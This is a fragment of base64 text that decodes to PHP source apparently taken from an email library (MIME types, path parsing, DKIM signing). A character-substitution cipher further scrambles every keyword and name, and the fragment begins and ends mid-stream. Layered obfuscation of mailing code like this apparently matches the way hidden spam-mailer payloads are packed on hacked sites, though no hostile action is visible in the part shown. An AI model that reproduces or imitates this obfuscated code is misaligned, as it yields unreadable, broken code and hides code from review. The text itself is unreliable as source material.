01bnQudzJyZHByMmM1c3M0bmdtbC5kMmMzbTVudCcsDQogICAgICAgICAgICAnZDJ0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQudzJyZHByMmM1c3M0bmdtbC50NW1wbDF0NScsDQogICAgICAgICAgICAneGwxbScgID0+ICcxcHBsNGMxdDQybi92bmQubXMtNXhjNWwuMWRkNG4ubTFjcjJFbjFibDVkLjZhJywNCiAgICAgICAgICAgICd4bHNiJyAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tcy01eGM1bC5zaDU1dC5iNG4xcnkubTFjcjJFbjFibDVkLjZhJywNCiAgICAgICAgICAgICdjbDFzcycgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnZGxsJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ2RtcycgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICc1eDUnICAgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnbGgxJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ2x6aCcgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICdwc2QnICAgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnczUxJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ3MyJyAgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICcyZDEnICAgPT4gJzFwcGw0YzF0NDJuLzJkMScsDQogICAgICAgICAgICAncGRmJyAgID0+ICcxcHBsNGMxdDQybi9wZGYnLA0KICAgICAgICAgICAgJzE0JyAgICA9PiAnMXBwbDRjMXQ0Mm4vcDJzdHNjcjRwdCcsDQogICAgICAgICAgICAnNXBzJyAgID0+ICcxcHBsNGMxdDQybi9wMnN0c2NyNHB0JywNCiAgICAgICAgICAgICdwcycgICAgPT4gJzFwcGw0YzF0NDJuL3Ayc3RzY3I0cHQnLA0KICAgICAgICAgICAgJ3NtNCcgICA9PiAnMXBwbDRjMXQ0Mm4vc200bCcsDQogICAgICAgICAgICAnc200bCcgID0+ICcxcHBsNGMxdDQybi9zbTRsJywNCiAgICAgICAgICAgICdtNGYnICAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tNGYnLA0KICAgICAgICAgICAgJ3hscycgICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLm1zLTV4YzVsJywNCiAgICAgICAgICAgICdwcHQnICAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tcy1wMnc1cnAyNG50JywNCiAgICAgICAgICAgICd3YnhtbCcgPT4gJzFwcGw0YzF0NDJuL3ZuZC53MXAud2J4bWwnLA0KICAgICAgICAgICAgJ3dtbGMnICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLncxcC53bWxjJywNCiAgICAgICAgICAgICdkY3InICAgPT4gJzFwcGw0YzF0NDJuL3gtZDRyNWN0MnInLA0KICAgICAgICAgICAgJ2Q0cicgICA9PiAnMXBwbDRjMXQ0Mm4veC1kNHI1Y3QycicsDQogICAgICAgICAgICAnZHhyJyAgID0+ICcxcHBsNGMxdDQybi94LWQ0cjVjdDJyJywNCiAgICAgICAgICAgICdkdjQnICAgPT4gJzFwcGw0YzF0NDJuL3gtZHY0JywNCiAgICAgICAgICAgICdndDFyJyAgPT4gJzFwcGw0YzF0NDJuL3gtZ3QxcicsDQogICAgICAgICAgICAncGhwbycgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwdScgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwJyAgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGh0bWwnID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwcycgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocC1zMjNyYzUnLA0KICAgICAgICAgICAgJ3N3ZicgICA9PiAnMXBwbDRjMXQ0Mm4veC1zaDJja3cxdjUtZmwxc2gnLA0KICAgICAgICAgICAgJ3M0dCcgICA9PiAnMXBwbDRjMXQ0Mm4veC1zdDNmZjR0JywNCiAgICAgICAgICAgICd0MXInICAgPT4gJzFwcGw0YzF0NDJuL3gtdDFyJywNCiAgICAgICAgICAgICd0Z3onICAgPT4gJzFwcGw0YzF0NDJuL3gtdDFyJywNCiAgICAgICAgICAgICd4aHQnICAgPT4gJzFwcGw0YzF0NDJuL3hodG1sK3htbCcsDQogICAgICAgICAgICAneGh0bWwnID0+ICcxcHBsNGMxdDQybi94aHRtbCt4bWwnLA0KICAgICAgICAgICAgJ3o0cCcgICA9PiAnMXBwbDRjMXQ0Mm4vejRwJywNCiAgICAgICAgICAgICdtNGQnICAgPT4gJzEzZDQyL200ZDQnLA0KICAgICAgICAgICAgJ200ZDQnICA9PiAnMTNkNDIvbTRkNCcsDQogICAgICAgICAgICAnbXBhJyAgID0+ICcxM2Q0Mi9tcDVnJywNCiAgICAgICAgICAgICdtcG8nICAgPT4gJzEzZDQyL21wNWcnLA0KICAgICAgICAgICAgJ21wZzEnICA9PiAnMTNkNDIvbXA1ZycsDQogICAgICAgICAgICAnMTRmJyAgID0+ICcxM2Q0Mi94LTE0ZmYnLA0KICAgICAgICAgICAgJzE0ZmMnICA9PiAnMTNkNDIveC0xNGZmJywNCiAgICAgICAgICAgICcxNGZmJyAgPT4gJzEzZDQyL3gtMTRmZicsDQogICAgICAgICAgICAncjFtJyAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0MicsDQogICAgICAgICAgICAncm0nICAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0MicsDQogICAgICAgICAgICAncnBtJyAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0Mi1wbDNnNG4nLA0KICAgICAgICAgICAgJ3IxJyAgICA9PiAnMTNkNDIveC1yNTFsMTNkNDInLA0KICAgICAgICAgICAgJ3cxdicgICA9PiAnMTNkNDIveC13MXYnLA0KICAgICAgICAgICAgJ2JtcCcgICA9PiAnNG0xZzUvYm1wJywNCiAgICAgICAgICAgICdnNGYnICAgPT4gJzRtMWc1L2c0ZicsDQogICAgICAgICAgICAnanA1ZycgID0+ICc0bTFnNS9qcDVnJywNCiAgICAgICAgICAgICdqcDUnICAgPT4gJzRtMWc1L2pwNWcnLA0KICAgICAgICAgICAgJ2pwZycgICA9PiAnNG0xZzUvanA1ZycsDQogICAgICAgICAgICAncG5nJyAgID0+ICc0bTFnNS9wbmcnLA0KICAgICAgICAgICAgJ3Q0ZmYnICA9PiAnNG0xZzUvdDRmZicsDQogICAgICAgICAgICAndDRmJyAgID0+ICc0bTFnNS90NGZmJywNCiAgICAgICAgICAgICc1bWwnICAgPT4gJ201c3MxZzUvcmZjOGFhJywNCiAgICAgICAgICAgICdjc3MnICAgPT4gJ3Q1eHQvY3NzJywNCiAgICAgICAgICAgICdodG1sJyAgPT4gJ3Q1eHQvaHRtbCcsDQogICAgICAgICAgICAnaHRtJyAgID0+ICd0NXh0L2h0bWwnLA0KICAgICAgICAgICAgJ3NodG1sJyA9PiAndDV4dC9odG1sJywNCiAgICAgICAgICAgICdsMmcnICAgPT4gJ3Q1eHQvcGwxNG4nLA0KICAgICAgICAgICAgJ3Q1eHQnICA9PiAndDV4dC9wbDE0bicsDQogICAgICAgICAgICAndHh0JyAgID0+ICd0NXh0L3BsMTRuJywNCiAgICAgICAgICAgICdydHgnICAgPT4gJ3Q1eHQvcjRjaHQ1eHQnLA0KICAgICAgICAgICAgJ3J0ZicgICA9PiAndDV4dC9ydGYnLA0KICAgICAgICAgICAgJ3ZjZicgICA9PiAndDV4dC92YzFyZCcsDQogICAgICAgICAgICAndmMxcmQnID0+ICd0NXh0L3ZjMXJkJywNCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3Q1eHQveG1sJywNCiAgICAgICAgICAgICd4c2wnICAgPT4gJ3Q1eHQveG1sJywNCiAgICAgICAgICAgICdtcDVnJyAgPT4gJ3Y0ZDUyL21wNWcnLA0KICAgICAgICAgICAgJ21wNScgICA9PiAndjRkNTIvbXA1ZycsDQogICAgICAgICAgICAnbXBnJyAgID0+ICd2NGQ1Mi9tcDVnJywNCiAgICAgICAgICAgICdtMnYnICAgPT4gJ3Y0ZDUyL3EzNGNrdDRtNScsDQogICAgICAgICAgICAncXQnICAgID0+ICd2NGQ1Mi9xMzRja3Q0bTUnLA0KICAgICAgICAgICAgJ3J2JyAgICA9PiAndjRkNTIvdm5kLnJuLXI1MWx2NGQ1MicsDQogICAgICAgICAgICAnMXY0JyAgID0+ICd2NGQ1Mi94LW1zdjRkNTInLA0KICAgICAgICAgICAgJ20ydjQ1JyA9PiAndjRkNTIveC1zZzQtbTJ2NDUnDQogICAgICAgICk7DQogICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKHN0cnQybDJ3NXIoJDV4dCksICRtNG01cykpIHsNCiAgICAgICAgICAgIHI1dDNybiAkbTRtNXNbc3RydDJsMnc1cigkNXh0KV07DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nOw0KICAgIH0NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIGY0bDVuMW01VDJUeXA1KCRmNGw1bjFtNSkNCiAgICB7DQogICAgICAgICRxcDJzID0gc3RycDJzKCRmNGw1bjFtNSwgJz8nKTsNCiAgICAgICAgNGYgKGYxbHM1ICE9PSAkcXAycykgew0KICAgICAgICAgICAgJGY0bDVuMW01ID0gczNic3RyKCRmNGw1bjFtNSwgMCwgJHFwMnMpOw0KICAgICAgICB9DQogICAgICAgICRwMXRoNG5mMiA9IHM1bGY6Om1iX3AxdGg0bmYyKCRmNGw1bjFtNSk7DQogICAgICAgIHI1dDNybiBzNWxmOjpfbTRtNV90eXA1cygkcDF0aDRuZjJbJzV4dDVuczQybiddKTsNCiAgICB9DQogICAgcDNibDRjIHN0MXQ0YyBmM25jdDQybiBtYl9wMXRoNG5mMigkcDF0aCwgJDJwdDQybnMgPSBuM2xsKQ0KICAgIHsNCiAgICAgICAgJHI1dCA9IDFycjF5KCdkNHJuMW01JyA9PiAnJywgJ2IxczVuMW01JyA9PiAnJywgJzV4dDVuczQybicgPT4gJycsICdmNGw1bjFtNScgPT4gJycpOw0KICAgICAgICAkcDF0aDRuZjIgPSAxcnIxeSgpOw0KICAgICAgICA0ZiAocHI1Z19tMXRjaCgnJV4oLio/KVtcXFxcL10qKChbXi9cXFxcXSo/KShcLihbXlwuXFxcXC9dKz8pfCkpW1xcXFwvXC5dKiQlNG0nLCAkcDF0aCwgJHAxdGg0bmYyKSkgew0KICAgICAgICAgICAgNGYgKDFycjF5X2s1eV81eDRzdHMoNiwgJHAxdGg0bmYyKSkgew0KICAgICAgICAgICAgICAgICRyNXRbJ2Q0cm4xbTUnXSA9ICRwMXRoNG5mMls2XTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKGEsICRwMXRoNG5mMikpIHsNCiAgICAgICAgICAgICAgICAkcjV0WydiMXM1bjFtNSddID0gJHAxdGg0bmYyW2FdOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYgKDFycjF5X2s1eV81eDRzdHMoaSwgJHAxdGg0bmYyKSkgew0KICAgICAgICAgICAgICAgICRyNXRbJzV4dDVuczQybiddID0gJHAxdGg0bmYyW2ldOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYgKDFycjF5X2s1eV81eDRzdHMobywgJHAxdGg0bmYyKSkgew0KICAgICAgICAgICAgICAgICRyNXRbJ2Y0bDVuMW01J10gPSAkcDF0aDRuZjJbb107DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgc3c0dGNoICgkMnB0NDJucykgew0KICAgICAgICAgICAgYzFzNSBQQVRISU5GT19ESVJOQU1FOg0KICAgICAgICAgICAgYzFzNSAnZDRybjFtNSc6DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXRbJ2Q0cm4xbTUnXTsNCiAgICAgICAgICAgIGMxczUgUEFUSElORk9fQkFTRU5BTUU6DQogICAgICAgICAgICBjMXM1ICdiMXM1bjFtNSc6DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXRbJ2IxczVuMW01J107DQogICAgICAgICAgICBjMXM1IFBBVEhJTkZPX0VYVEVOU0lPTjoNCiAgICAgICAgICAgIGMxczUgJzV4dDVuczQybic6DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXRbJzV4dDVuczQybiddOw0KICAgICAgICAgICAgYzFzNSBQQVRISU5GT19GSUxFTkFNRToNCiAgICAgICAgICAgIGMxczUgJ2Y0bDVuMW01JzoNCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1dFsnZjRsNW4xbTUnXTsNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXQ7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIHM1dCgkbjFtNSwgJHYxbDM1ID0gJycpDQogICAgew0KICAgICAgICA0ZiAocHIycDVydHlfNXg0c3RzKCR0aDRzLCAkbjFtNSkpIHsNCiAgICAgICAgICAgICR0aDRzLT4kbjFtNSA9ICR2MWwzNTsNCiAgICAgICAgICAgIHI1dDNybiB0cjM1Ow0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCR0aDRzLT5sMW5nKCd2MXI0MWJsNV9zNXQnKSAuICRuMW01KTsNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczVjM3I1SDUxZDVyKCRzdHIpDQogICAgew0KICAgICAgICByNXQzcm4gdHI0bShzdHJfcjVwbDFjNSgxcnIxeSgiXHIiLCAiXG4iKSwgJycsICRzdHIpKTsNCiAgICB9DQogICAgcDNibDRjIHN0MXQ0YyBmM25jdDQybiBuMnJtMWw0ejVCcjUxa3MoJHQ1eHQsICRicjUxa3R5cDUgPSAiXHJcbiIpDQogICAgew0KICAgICAgICByNXQzcm4gcHI1Z19yNXBsMWM1KCcvKFxyXG58XHJ8XG4pL21zJywgJGJyNTFrdHlwNSwgJHQ1eHQpOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczRnbigkYzVydF9mNGw1bjFtNSwgJGs1eV9mNGw1bjFtNSwgJGs1eV9wMXNzLCAkNXh0cjFjNXJ0c19mNGw1bjFtNSA9ICcnKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPnM0Z25fYzVydF9mNGw1ID0gJGM1cnRfZjRsNW4xbTU7DQogICAgICAgICR0aDRzLT5zNGduX2s1eV9mNGw1ID0gJGs1eV9mNGw1bjFtNTsNCiAgICAgICAgJHRoNHMtPnM0Z25fazV5X3Axc3MgPSAkazV5X3Axc3M7DQogICAgICAgICR0aDRzLT5zNGduXzV4dHIxYzVydHNfZjRsNSA9ICQ1eHRyMWM1cnRzX2Y0bDVuMW01Ow0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gREtJTV9RUCgkdHh0KQ0KICAgIHsNCiAgICAgICAgJGw0bjUgPSAnJzsNCiAgICAgICAgZjJyICgkNCA9IDA7ICQ0IDwgc3RybDVuKCR0eHQpOyAkNCsrKSB7DQogICAgICAgICAgICAkMnJkID0gMnJkKCR0eHRbJDRdKTsNCiAgICAgICAgICAgIDRmICgoKDB4YTYgPD0gJDJyZCkgJiYgKCQycmQgPD0gMHhvQSkpIHx8ICQycmQgPT0gMHhvQyB8fCAoKDB4b0UgPD0gJDJyZCkgJiYgKCQycmQgPD0gMHg3RSkpKSB7DQogICAgICAgICAgICAgICAgJGw0bjUgLj0gJHR4dFskNF07DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICRsNG41IC49ICc9JyAuIHNwcjRudGYoJyUwYVgnLCAkMnJkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJGw0bjU7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBES0lNX1M0Z24oJHM0Z25INTFkNXIpDQogICAgew0KICAgICAgICA0ZiAoIWQ1ZjRuNWQoJ1BLQ1M3X1RFWFQnKSkgew0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnNXh0NW5zNDJuX200c3M0bmcnKSAuICcycDVuc3NsJyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gJyc7DQogICAgICAgIH0NCiAgICAgICAgJHByNHZLNXlTdHIgPSAhNW1wdHkoJHRoNHMtPkRLSU1fcHI0djF0NV9zdHI0bmcpID8gJHRoNHMtPkRLSU1fcHI0djF0NV9zdHI0bmcgOiBmNGw1X2c1dF9jMm50NW50cygkdGg0cy0+REtJTV9wcjR2MXQ1KTsNCiAgICAgICAgNGYgKCcnICE9ICR0aDRzLT5ES0lNX3Axc3NwaHIxczUpIHsNCiAgICAgICAgICAgICRwcjR2SzV5ID0gMnA1bnNzbF9wazV5X2c1dF9wcjR2MXQ1KCRwcjR2SzV5U3RyLCAkdGg0cy0+REtJTV9wMXNzcGhyMXM1KTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICRwcjR2SzV5ID0gMnA1bnNzbF9wazV5X2c1dF9wcjR2MXQ1KCRwcjR2SzV5U3RyKTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAodjVyczQybl9jMm1wMXI1KFBIUF9WRVJTSU9OLCAnaS5vLjAnKSA+PSAwIDFuZA0KICAgICAgICAgICAgNG5fMXJyMXkoJ3NoMWFpZVc0dGhSU0FFbmNyeXB0NDJuJywgMnA1bnNzbF9nNXRfbWRfbTV0aDJkcyh0cjM1KSkpIHsNCiAgICAgICAgICAgIDRmICgycDVuc3NsX3M0Z24oJHM0Z25INTFkNXIsICRzNGduMXQzcjUsICRwcjR2SzV5LCAnc2gxYWllVzR0aFJTQUVuY3J5cHQ0Mm4nKSkgew0KICAgICAgICAgICAgICAgIDJwNW5zc2xfcGs1eV9mcjU1KCRwcjR2SzV5KTsNCiAgICAgICAgICAgICAgICByNXQzcm4gYjFzNWV1XzVuYzJkNSgkczRnbjF0M3I1KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICRwNG5mMiA9IDJwNW5zc2xfcGs1eV9nNXRfZDV0MTRscygkcHI0dks1eSk7DQogICAgICAgICAgICAkaDFzaCA9IGgxc2goJ3NoMWFpZScsICRzNGduSDUxZDVyKTsNCiAgICAgICAgICAgICR0ID0gJ28wbzZvMDBkMGUwOWUwOGV1ODA2ZWkwbzB1MGEwNjBpMDAwdWEwJyAuICRoMXNoOw0KICAgICAgICAgICAgJHBzbDVuID0gJHA0bmYyWydiNHRzJ10gLyA4IC0gKHN0cmw1bigkdCkgLyBhICsgbyk7DQogICAgICAgICAgICAkNWIgPSBwMWNrKCdIKicsICcwMDA2JyAuIHN0cl9yNXA1MXQoJ0ZGJywgJHBzbDVuKSAuICcwMCcgLiAkdCk7DQoNCiAgICAgICAgICAgIDRmICgycDVuc3NsX3ByNHYxdDVfNW5jcnlwdCgkNWIsICRzNGduMXQzcjUsICRwcjR2SzV5LCBPUEVOU1NMX05PX1BBRERJTkcpKSB7DQogICAgICAgICAgICAgICAgMnA1bnNzbF9wazV5X2ZyNTUoJHByNHZLNXkpOw0KICAgICAgICAgICAgICAgIHI1dDNybiBiMXM1ZXVfNW5jMmQ1KCRzNGduMXQzcjUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDJwNW5zc2xfcGs1eV9mcjU1KCRwcjR2SzV5KTsNCiAgICAgICAgcjV0M3JuICcnOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gREtJTV9INTFkNXJDKCRzNGduSDUxZDVyKQ0KICAgIHsNCiAgICAgICAgJHM0Z25INTFkNXIgPSBwcjVnX3I1cGwxYzUoJy9cclxuXHMrLycsICcgJywgJHM0Z25INTFkNXIpOw0KICAgICAgICAkbDRuNXMgPSA1eHBsMmQ1KCJcclxuIiwgJHM0Z25INTFkNXIpOw0KICAgICAgICBmMnI1MWNoICgkbDRuNXMgMXMgJGs1eSA9PiAkbDRuNSkgew0KICAgICAgICAgICAgbDRzdCgkaDUxZDRuZywgJHYxbDM1KSA9IDV4cGwyZDUoJzonLCAkbDRuNSwgYSk7DQogICAgICAgICAgICAkaDUxZDRuZyA9IHN0cnQybDJ3NXIoJGg1MWQ0bmcpOw0KICAgICAgICAgICAgJHYxbDM1ID0gcHI1Z19yNXBsMWM1KCcvXHN7YSx9LycsICcgJywgJHYxbDM1KTsgLy8gQzJtcHI1c3MgM3M1bDVzcyBzcDFjNXMNCiAgICAgICAgICAgICRsNG41c1skazV5XSA9ICRoNTFkNG5nIC4gJzonIC4gdHI0bSgkdjFsMzUpOyAvLyBEMm4ndCBmMnJnNXQgdDIgcjVtMnY1IFdTUCAxcjIzbmQgdGg1IHYxbDM1DQogICAgICAgIH0NCiAgICAgICAgJHM0Z25INTFkNXIgPSA0bXBsMmQ1KCJcclxuIiwgJGw0bjVzKTsNCiAgICAgICAgcjV0M3JuICRzNGduSDUxZDVyOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gREtJTV9CMmR5QygkYjJkeSkNCiAgICB7DQogICAgICAgIDRmICgkYjJkeSA9PSAnJykgew0KICAgICAgICAgICAgcjV0M3JuICJcclxuIjsNCiAgICAgICAgfQ0KICAgICAgICAkYjJkeSA9IHN0cl9yNXBsMWM1KCJcclxuIiwgIlxuIiwgJGIyZHkpOw0KICAgICAgICAkYjJkeSA9IHN0cl9yNXBsMWM1KCJcbiIsICJcclxuIiwgJGIyZHkpOw0KICAgICAgICB3aDRsNSAoczNic3RyKCRiMmR5LCBzdHJsNW4oJGIyZHkpIC0gdSwgdSkgPT0gIlxyXG5cclxuIikgew0KICAgICAgICAgICAgJGIyZHkgPSBzM2JzdHIoJGIyZHksIDAsIHN0cmw1bigkYjJkeSkgLSBhKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJGIyZHk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBES0lNX0FkZCgkaDUxZDVyc19sNG41LCAkczNiajVjdCwgJGIyZHkpDQogICAgew0KICAgICAgICAkREtJTXM0Z24xdDNyNVR5cDUgPSAncnMxLXNoMWFpZSc7IC8vIFM0Z24xdDNyNSAmIGgxc2ggMWxnMnI0dGhtcw0KICAgICAgICAkREtJTWMxbjJuNGMxbDR6MXQ0Mm4gPSAncjVsMXg1ZC9zNG1wbDUnOyAvLyBDMW4ybjRjMWw0ejF0NDJuIDJmIGg1MWQ1ci9iMmR5DQogICAgICAgICRES0lNcTM1cnkgPSAnZG5zL3R4dCc7IC8vIFEzNXJ5IG01dGgyZA0KICAgICAgICAkREtJTXQ0bTUgPSB0NG01KCk7IC8vIFM0Z24xdDNyNSBUNG01c3QxbXAgPSBzNWMybmRzIHM0bmM1IDAwOjAwOjAwIC0gSjFuIDYsIDY5NzAgKFVUQyB0NG01IHoybjUpDQogICAgICAgICRzM2JqNWN0X2g1MWQ1ciA9ICJTM2JqNWN0OiAkczNiajVjdCI7DQogICAgICAgICRoNTFkNXJzID0gNXhwbDJkNSgkdGg0cy0+TEUsICRoNTFkNXJzX2w0bjUpOw0KICAgICAgICAkZnIybV9oNTFkNXIgPSAnJzsNCiAgICAgICAgJHQyX2g1MWQ1ciA9ICcnOw0KICAgICAgICAkZDF0NV9oNTFkNXIgPSAnJzsNCiAgICAgICAgJGMzcnI1bnQgPSAnJzsNCiAgICAgICAgZjJyNTFjaCAoJGg1MWQ1cnMgMXMgJGg1MWQ1cikgew0KICAgICAgICAgICAgNGYgKHN0cnAycygkaDUxZDVyLCAnRnIybTonKSA9PT0gMCkgew0KICAgICAgICAgICAgICAgICRmcjJtX2g1MWQ1ciA9ICRoNTFkNXI7DQogICAgICAgICAgICAgICAgJGMzcnI1bnQgPSAnZnIybV9oNTFkNXInOw0KICAgICAgICAgICAgfSA1bHM1NGYgKHN0cnAycygkaDUxZDVyLCAnVDI6JykgPT09IDApIHsNCiAgICAgICAgICAgICAgICAkdDJfaDUxZDVyID0gJGg1MWQ1cjsNCiAgICAgICAgICAgICAgICAkYzNycjVudCA9ICd0Ml9oNTFkNXInOw0KICAgICAgICAgICAgfSA1bHM1NGYgKHN0cnAycygkaDUxZDVyLCAnRDF0NTonKSA9PT0gMCkgew0KICAgICAgICAgICAgICAgICRkMXQ1X2g1MWQ1ciA9ICRoNTFkNXI7DQogICAgICAgICAgICAgICAgJGMzcnI1bnQgPSAnZDF0NV9oNTFkNXInOw0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCQkYzNycjVudCkgJiYgc3RycDJzKCRoNTFkNXIsICcgPT8nKSA9PT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAkJGMzcnI1bnQgLj0gJGg1MWQ1cjsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkYzNycjVudCA9ICcnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkZnIybSA9IHN0cl9yNXBsMWM1KCd8JywgJz03QycsICR0aDRzLT5ES0lNX1FQKCRmcjJtX2g1MWQ1cikpOw0KICAgICAgICAkdDIgPSBzdHJfcjVwbDFjNSgnfCcsICc9N0MnLCAkdGg0cy0+REtJTV9RUCgkdDJfaDUxZDVyKSk7DQogICAgICAgICRkMXQ1ID0gc3RyX3I1cGwxYzUoJ3wnLCAnPTdDJywgJHRoNHMtPkRLSU1fUVAoJGQxdDVfaDUxZDVyKSk7DQogICAgICAgICRzM2JqNWN0ID0gc3RyX3I1cGwxYzUoDQogICAgICAgICAgICAnfCcsDQogICAgICAgICAgICAnPTdDJywNCiAgICAgICAgICAgICR0aDRzLT5ES0lNX1FQKCRzM2JqNWN0X2g1MWQ1cikNCiAgICAgICAgKTsgLy8gQzJwNDVkIGg1MWQ1ciBmNDVsZHMgKGRrNG0tcTMydDVkLXByNG50MWJsNSkNCiAgICAgICAgJGIyZHkgPSAkdGg0cy0+REtJTV9CMmR5QygkYjJkeSk7DQogICAgICAgICRES0lNbDVuID0gc3RybDVuKCRiMmR5KTsgLy8gTDVuZ3RoIDJmIGIyZHkNCiAgICAgICAgJERLSU1iZXUgPSBiMXM1ZXVfNW5jMmQ1KHAxY2soJ0gqJywgaDFzaCgnc2gxYWllJywgJGIyZHkpKSk7IC8vIEIxczVldSAyZiBwMWNrNWQgYjRuMXJ5IFNIQS1haWUgaDFzaCAyZiBiMmR5DQogICAgICAgIDRmICgnJyA9PSAkdGg0cy0+REtJTV80ZDVudDR0eSkgew0KICAgICAgICAgICAgJDRkNW50ID0gJyc7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkNGQ1bnQgPSAnIDQ9JyAuICR0aDRzLT5ES0lNXzRkNW50NHR5IC4gJzsnOw0KICAgICAgICB9DQogICAgICAgICRkazRtaGRycyA9ICdES0lNLVM0Z24xdDNyNTogdj02OyAxPScgLg0KICAgICAgICAgICAgJERLSU1zNGduMXQzcjVUeXA1IC4gJzsgcT0nIC4NCiAgICAgICAgICAgICRES0lNcTM1cnkgLiAnOyBsPScgLg0KICAgICAgICAgICAgJERLSU1sNW4gLiAnOyBzPScgLg0KICAgICAgICAgICAgJHRoNHMtPkRLSU1fczVsNWN0MnIgLg0KICAgICAgICAgICAgIjtcclxuIiAuDQogICAgICAgICAgICAiXHR0PSIgLiAkREtJTXQ0bTUgLiAnOyBjPScgLiAkREtJTWMxbjJuNGMxbDR6MXQ0Mm4gLiAiO1xyXG4iIC4NCiAgICAgICAgICAgICJcdGg9RnIybTpUMjpEMXQ1OlMzYmo1Y3Q7XHJcbiIgLg0KICAgICAgICAgICAgIlx0ZD0iIC4gJHRoNHMtPkRLSU1fZDJtMTRuIC4gJzsnIC4gJDRkNW50IC4gIlxyXG4iIC4NCiAgICAgICAgICAgICJcdHo9JGZyMm1cclxuIiAuDQogICAgICAgICAgICAiXHR8JHQyXHJcbiIgLg0KICAgICAgICAgICAgIlx0fCRkMXQ1XHJcbiIgLg0KICAgICAgICAgICAgIlx0fCRzM2JqNWN0O1xyXG4iIC4NCiAgICAgICAgICAgICJcdGJoPSIgLiAkREtJTWJldSAuICI7XHJcbiIgLg0KICAgICAgICAgICAgIlx0Yj0iOw0KICAgICAgICAkdDJTNGduID0gJHRoNHMtPkRLSU1fSDUxZDVyQygNCiAgICAgICAgICAgICRmcjJtX2g1MWQ1ciAuICJcclxuIiAuDQogICAgICAgICAgICAkdDJfaDUxZDVyIC4gIlxyXG4iIC4NCiAgICAgICAgICAgICRkMXQ1X2g1MWQ1ciAuICJcclxu